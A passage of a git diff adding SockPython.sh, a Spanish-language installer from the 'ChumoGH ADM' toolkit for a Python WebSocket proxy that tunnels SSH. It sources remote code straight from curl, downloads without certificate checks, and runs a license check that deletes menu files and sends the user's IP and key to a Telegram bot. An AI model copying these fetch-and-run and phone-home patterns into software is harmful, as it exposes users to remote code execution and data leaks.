+ tittle + msg -ama " INSTALADOR SLOWDNS | @drowkid01${p1t0}Plus" + msg -bar # + echo -e " SlowDNS +" "${PRT} ""->" "${PT}" "| ESTADO -> ${MT}" + msg -bar + #${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## + #[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +#echo -e "\033[1;32mΔ SlowDNS no compatible en procesadores ARM " +#echo -e "\033[1;32mΔ Motor no disponible en ARM by @drowkid01 " +#msg -bar +#echo -e "\033[1;32mΔ Visita https://t.me/ChumoGH_ADM , para detalles " +#msg -bar +#read -p "ENTER PARA CONTINUAR" +#chekKEY &> /dev/null 2>&1 +#exit +#} +msg -bar + + menu_func "Instalar SlowDns" "$(msg -verd "Ver Informacion")" "$(msg -ama "Reiniciar SlowDns")" "$(msg -verm2 "Detener SlowDns")" "$(msg -verm2 "Remover SlowDns")" + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + msg -bar + opcion=$(selection_fun 5) + case $opcion in + 1)ini_slow;; + 2)info;; + 3)reset_slow;; + 4)stop_slow;; + 5)remove_slow;; + 0)break;; + esac +done + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} diff --git a/Recursos/menu_inst/SockPython.sh b/Recursos/menu_inst/SockPython.sh new file mode 100644 index 0000000..8e1ccce --- /dev/null +++ b/Recursos/menu_inst/SockPython.sh @@ -0,0 +1,1151 @@ +#!/bin/bash + +_Key='/etc/cghkey' + +clear + +[[ ! -e ${_Key} ]] && exit + +clear +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n �� �253 KEY BANEADA �253 ! CONTACTE Su ADMINISTRADOR! \n==================================================\n �� FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n�� ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF + +rm -f /etc/folteto +rm -f /etc/adm-lite/menu* + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" INSECTO DETECTADO EN Sock Python\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" Key : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot ADMcgh de keyS ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/module) +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg +source msg +msg -bar3 +ADM_inst="/etc/adm-lite" && [[ ! -d ${ADM_inst} ]] && exit +system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') +vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2) +echo -e "ESPERE UN MOMENTO MIENTRAS FIXEAMOS SU SISTEMA " + +fun_upgrade() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a +sudo apt install software-properties-common -y &> /dev/null +apt install python2 -y &> /dev/null +sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 &> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + echo > /etc/fixpython +} + +function aguarde() { + sleep .1 + echo -e "SU VERSION DE UBUNTU ${vercion} ES SUPERIOR A 18.04 " + helice() { + fun_upgrade >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mPYTHON \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +[[ "${vercion}" > "20" ]] && { +echo -e "" +msg -bar3 +[[ -e /etc/fixpython ]] || aguarde +} || { +echo + [[ -e /etc/fixpython ]] || { + echo -e " SU VERSION DE UBUNTU ${vercion} ES INFERIOR O 18.04 " + apt-get install python -y &>/dev/null + apt-get install python3 -y &>/dev/null + touch /etc/fixpython + } +} + +clear + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +stop_all () { +_ps="$(ps x)" + ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "python") + [[ -z ${ck_py} ]] && ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "WS-Epro") + if [[ -z $(echo "$ck_py" | awk '{print $1}' | head -n 1) ]]; then + print_center -verm "Puertos PYTHON no encontrados" + msg -bar3 + else + ck_port=$(echo "$ck_py" | awk '{print $9}' | awk -F ":" '{print $2}') + [[ -z ${ck_port} ]] && ck_port=$(echo -e "${_ps}" | grep PDirect | grep -v grep | awk '{print $7}') + for i in $ck_port; do + kill -9 $(echo -e "${_ps}"| grep PDirect | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null + systemctl stop python.${i} &>/dev/null + systemctl disable python.${i} &>/dev/null + rm -f /etc/systemd/system/python.${i}.service + rm -f /etc/adm-lite/PDirect + done + for pidproxy in $(screen -ls | grep ".ws" | awk {'print $1'}); do + screen -r -S "$pidproxy" -X quit + done + [[ $(grep -wc "PDirect.py" /bin/autoboot) != '0' ]] && { + sed -i '/PDirect/d' /bin/autoboot + sed -i '/python/d' /bin/autoboot + } + rm -f /etc/adm-lite/PDirect + screen -wipe &>/dev/null + kill -9 $(echo -e "${_ps}" | grep -w python | grep -v grep | awk '{print $1}') &>/dev/null + print_center -verd "Puertos PYTHON detenidos" + msg -bar3 + fi + sleep 0.5 + } + +stop_port () { + sleep 0.5 + clear + STPY="$(mportas | grep python| awk '{print $2}')" + STPY+=" $(mportas |grep WS-Epro| awk '{print $2}')" + msg -bar3 + print_center -ama "DETENER UN PUERTO" + msg -bar3 + n=1 + for i in $STPY; do + echo -e " \033[1;32m[$n] \033[1;31m> \033[1;37m$i\033[0m" + pypr[$n]=$i + let n++ + done + + msg -bar3 + echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra "\033[1;41mVOLVER" + msg -bar3 + echo -ne "\033[1;37m opcion: " && read prpy + tput cuu1 && tput dl1 + + [[ $prpy = "0" ]] && return + systemctl stop python.${pypr[$prpy]} &>/dev/null + systemctl disable python.${pypr[$prpy]} &>/dev/null + rm /etc/systemd/system/python.${pypr[$prpy]}.service &>/dev/null + sed -i "/ws${pypr[$prpy]}/d" /bin/autoboot &>/dev/null + kill -9 $(echo -e "${_ps}"| grep -w "ws${pypr[$prpy]}" | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null + kill $(echo -e "${_ps}"| grep -w "${pypr[$prpy]}" | grep -v grep | awk '{print $1}') &>/dev/null + sed -i '/PDirect${pypr[$prpy]}/d' /bin/autoboot + screen -wipe &>/dev/null + print_center -verd "PUERTO PYTHON ${pypr[$prpy]} RETIRADO" + msg -bar3 + sleep 0.5 + } + +colector(){ +conect="$1" + clear + msg -bar3 + print_center -azu " Puerto Principal, para Proxy Directo" + msg -bar3 + +while [[ -z $porta_socket ]]; do + echo -ne "\033[1;37m Digite el Puerto: " && read porta_socket + porta_socket=$(echo ${porta_socket}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + + [[ $(mportas|grep -w "${porta_socket}") = "" ]] && { + echo -e "\033[1;33m Puerto python:\033[1;32m ${porta_socket} VALIDO" + msg -bar3 + } || { + echo -e "\033[1;33m Puerto python:\033[1;31m ${porta_socket} OCUPADO" && sleep 1 + tput cuu1 && tput dl1 + unset porta_socket + } + done + + if [[ $conect = "PDirect" ]]; then + print_center -azu " Puerto Local SSH/DROPBEAR/OPENVPN" + msg -bar3 + + while [[ -z $local ]]; do + echo -ne "\033[1;97m Digite el Puerto: \033[0m" && read local + local=$(echo ${local}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + + [[ $(mportas|grep -w "${local}") = "" ]] && { + echo -e "\033[1;33m Puerto local:\033[1;31m ${local} NO EXISTE" && sleep 1 + tput cuu1 && tput dl1 + unset local + } || { + echo -e "\033[1;33m Puerto local:\033[1;32m ${local} VALIDO" + msg -bar3 + tput cuu1 && tput dl1 + } + done + msg -bar3 +echo -e " Respuesta de Encabezado (101,200,484,500,etc) \033[1;37m" +msg -bar3 + print_center -azu "Response personalizado (enter por defecto 200)" + print_center -ama "NOTA : Para OVER WEBSOCKET escribe (101)" + msg -bar3 + echo -ne "\033[1;97m ENCABEZADO : \033[0m" && read response + response=$(echo ${response}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + if [[ -z $response ]]; then + response="200" + echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA" + else + echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA" + fi + msg -bar3 + fi + + if [[ ! $conect = "PGet" ]] && [[ ! $conect = "POpen" ]]; then + print_center -azu "Introdusca su Mini-Banner" + msg -bar3 + print_center -azu "Introduzca un texto [NORMAL] o en [HTML]" + echo -ne "-> : " + read texto_soket + fi + + if [[ $conect = "PPriv" ]]; then + py="python3" + IP=$(fun_ip) + elif [[ $conect = "PGet" ]]; then + echo "master=ChumoGH" > ${ADM_tmp}/pwd.pwd + while read service; do + [[ -z $service ]] && break + echo "127.0.0.1:$(echo $service|cut -d' ' -f2)=$(echo $service|cut -d' ' -f1)" >> ${ADM_tmp}/pwd.pwd + done <<< "$(mportas)" + porta_bind="0.0.0.0:$porta_socket" + pass_file="${ADM_tmp}/pwd.pwd" + py="python" + else + py="python" + fi +[[ -z ${texto_soket} ]] && texto_soket='ChumoGHPlus' + +mod1() { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -ama " BINARIO OFICIAL DE Epro Dev Team " +sleep 2s && tput cuu1 && tput dl1 +[[ -e /etc/adm-lite/PDirect ]] && { +echo -e "[Unit] +Description=WS-Epro Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/WS-Epro -salome -listen :${porta_socket} -ssh 127.0.0.1:${local} -f /etc/adm-lite/PDirect +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +} || { +echo "# verbose level 0=info, 1=verbose, 2=very verbose +verbose: 0 +listen: +- target_host: 127.0.0.1 + target_port: ${local} + listen_port: ${porta_socket}" > /etc/adm-lite/PDirect + +echo -e "[Unit] +Description=WS-Epro Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/WS-Epro -f /etc/adm-lite/PDirect +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +} + systemctl enable python.$porta_socket &>/dev/null + systemctl start python.$porta_socket &>/dev/null + + if [[ $conect = "PGet" ]]; then + [[ "$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}')" ]] && { + print_center -verd "Gettunel Iniciado com Exito" + print_center -azu "Su Contrase�a Gettunel es: $(msg -ama "ChumoGH")" + msg -bar3 + } || { + print_center -verm2 "Gettunel no fue iniciado" + msg -bar3 + } + fi + } + + mod2() { + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +texto="$(echo ${texto_soket} | sed 's/\"//g')" +#texto_soket="$(echo $texto|sed 'y/áÁàÂ54ãÒâÀ32é� 30ê�`íÍóÀ34õ� 22ôÀ35ú�añÀ30ç� 21ªº/aAaAaAaAeEeEiIoOoOoOuUnNcCao/')" +[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket " + #[[ ! -z $pass_file ]] && conf+="-p $pass_file" + #[[ ! -z $local ]] && conf+="-l $local " + #[[ ! -z $response ]] && conf+="-r $response " + #[[ ! -z $IP ]] && conf+="-i $IP " + [[ ! -z $texto_soket ]] && conf+=" '$texto_soket'" +cp ${ADM_inst}/$1.py $HOME/PDirect.py +systemctl stop python.${porta_socket} &>/dev/null +systemctl disable python.${porta_socket} &>/dev/null +rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null +#================================================================ +( +less << PYTHON > ${ADM_inst}/PDirect.py +#!/usr/bin/env python +# encoding: utf-8 +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$local' +MSG = '$texto' +STATUS_RESP = '$response' +FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n' + +if STATUS_RESP == '101': + STATUS_TXT = 'Web Socket Protocol' +else: + STATUS_TXT = 'Connection established' + +RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG) + + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m�01"*8,"\n" + print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR + print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n" + print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADM - LITE","\033[0;34m�01\033[1;37m"*11,"\n" + + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Parando...' + server.close() + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() +PYTHON +) > $HOME/proxy.log + +msg -bar3 +#systemctl start $py.$porta_socket &>/dev/null +chmod +x ${ADM_inst}/$1.py + +echo -e "[Unit] +Description=$1 Parametizado Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/usr/bin/$py ${ADM_inst}/${1}.py $conf +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +systemctl enable python.$porta_socket &>/dev/null +systemctl start python.$porta_socket &>/dev/null +[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n" +#================================================================ +[[ -e /etc/systemd/system/python.$porta_socket.service ]] && { +msg -bar3 +print_center -verd " INICIANDO SOCK Python Puerto ${porta_socket} " +sleep 1s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR" +sleep 1s && tput cuu1 && tput dl1 +return +} +[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log +} + + mod3() { + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +texto="$(echo ${texto_soket} | sed 's/\"//g')" +[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket " +[[ ! -z $texto_soket ]] && conf+=" '$texto_soket'" +cp ${ADM_inst}/$1.py $HOME/PDirect.py +systemctl stop python.${porta_socket} &>/dev/null +systemctl disable python.${porta_socket} &>/dev/null +rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null +#================================================================ +less << PYTHON > ${ADM_inst}/PDirect.py +#!/usr/bin/env python +# encoding: utf-8 +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$local' +MSG = '$texto' +STATUS_RESP = '$response' +FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 $STATUS_RESP Connection established\r\n\r\n' + +if STATUS_RESP == '101': + STATUS_TXT = 'Web Socket Protocol' +else: + STATUS_TXT = 'Connection established' + +#RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG) +RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(MSG) + ' ' + str(FTAG) + + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m%01"*8,"\n" + print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR + print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n" + print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADMcgh Plus","\033[0;34m�01\033[1;37m"*11,"\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Parando...' + server.close() + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() +PYTHON +msg -bar3 +chmod +x ${ADM_inst}/$1.py +tput cuu1 && tput dl1 +screen -dmS ws$porta_socket python ${ADM_inst}/PDirect.py ${porta_socket} & > /root/proxy.log +print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} " +sleep 2s && tput cuu1 && tput dl1 +sleep 1s && tput cuu1 && tput dl1 +[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n" +#================================================================ +[[ $(ps x | grep 